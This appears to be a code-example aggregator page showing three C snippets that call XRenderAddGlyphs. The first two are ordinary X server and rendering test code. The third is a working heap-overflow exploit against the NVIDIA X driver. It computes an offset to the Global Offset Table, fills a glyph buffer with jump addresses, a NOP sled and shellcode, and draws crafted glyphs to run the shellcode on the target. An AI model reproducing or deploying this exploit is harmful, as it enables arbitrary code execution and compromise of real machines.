示例#1
0
文件: dmxpict.c 项目: Agnesa/xserver
/** Add glyphs to the Glyph Set on each screen. */
static int
dmxProcRenderAddGlyphs(ClientPtr client)
{
    int ret;

    REQUEST(xRenderAddGlyphsReq);

    ret = dmxSaveRenderVector[stuff->renderReqType] (client);

    if (ret == Success) {
        GlyphSetPtr glyphSet;
        dmxGlyphPrivPtr glyphPriv;
        int i;
        int nglyphs;
        CARD32 *gids;
        Glyph *gidsCopy;
        xGlyphInfo *gi;
        CARD8 *bits;
        int nbytes;

        dixLookupResourceByType((pointer *) &glyphSet,
                                stuff->glyphset, GlyphSetType,
                                client, DixReadAccess);
        glyphPriv = DMX_GET_GLYPH_PRIV(glyphSet);

        nglyphs = stuff->nglyphs;
        gids = (CARD32 *) (stuff + 1);
        gi = (xGlyphInfo *) (gids + nglyphs);
        bits = (CARD8 *) (gi + nglyphs);
        nbytes = ((stuff->length << 2) -
                  sizeof(xRenderAddGlyphsReq) -
                  (sizeof(CARD32) + sizeof(xGlyphInfo)) * nglyphs);

        gidsCopy = malloc(sizeof(*gidsCopy) * nglyphs);
        for (i = 0; i < nglyphs; i++)
            gidsCopy[i] = gids[i];

        /* FIXME: Will this ever fail? */
        for (i = 0; i < dmxNumScreens; i++) {
            DMXScreenInfo *dmxScreen = &dmxScreens[i];

            if (dmxScreen->beDisplay) {
                XRenderAddGlyphs(dmxScreen->beDisplay,
                                 glyphPriv->glyphSets[i],
                                 gidsCopy,
                                 (XGlyphInfo *) gi,
                                 nglyphs, (char *) bits, nbytes);
                dmxSync(dmxScreen, FALSE);
            }
        }
        free(gidsCopy);
    }

    return ret;
}
示例#2
0
static GlyphSet create_glyphs(Display *dpy, int format_id)
{
#define N_GLYPHS 4
	XRenderPictFormat *format;
	XGlyphInfo glyph = { 8, 8, 0, 0, 8, 0 };
	char image[4*8*8];
	GlyphSet glyphset;
	Glyph gid;
	int image_size;
	int bpp;
	int n;

	format = XRenderFindStandardFormat(dpy, format_id);
	if (format == NULL)
		return 0;

	switch (format_id) {
	case PictStandardARGB32:
	case PictStandardRGB24:
		image_size = 4 * 8 * 8;
		bpp = 4;
		break;
	case PictStandardA8:
	case PictStandardA4:
		image_size = 8 * 8;
		bpp = 1;
		break;
	case PictStandardA1:
		image_size = 8;
		bpp = 0;
		break;
	default:
		return 0;
	}

	glyphset = XRenderCreateGlyphSet(dpy, format);
	for (n = 0; n < N_GLYPHS; n++) {
		gid = n;

		switch (n) {
		case 0: render_clear(image, image_size, bpp); break;
		case 1: render_black(image, image_size, bpp); break;
		case 2: render_green(image, image_size, bpp); break;
		case 3: render_white(image, image_size, bpp); break;
		}

		XRenderAddGlyphs(dpy, glyphset,
				 &gid, &glyph, 1, image, image_size);
	}

	return glyphset;
}
示例#3
0
int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
       *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                string[cr] = 'C'; cr++;
                                string[cr] = 'A'; cr++;
                                string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
            case KeyPress:
                i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                    done = 1;
                }
                break;
            case Expose:
                XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
                /* Send malignant glyphs and execute shellcode on target */
                XRenderCompositeString8(display, PictOpOver,
                        XftDrawSrcPicture(data->draw, &data->color),
                        XftDrawPicture(data->draw), mask, gset,
                        0, 0, xscreenpos, 0, string, strlen(string));
                break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}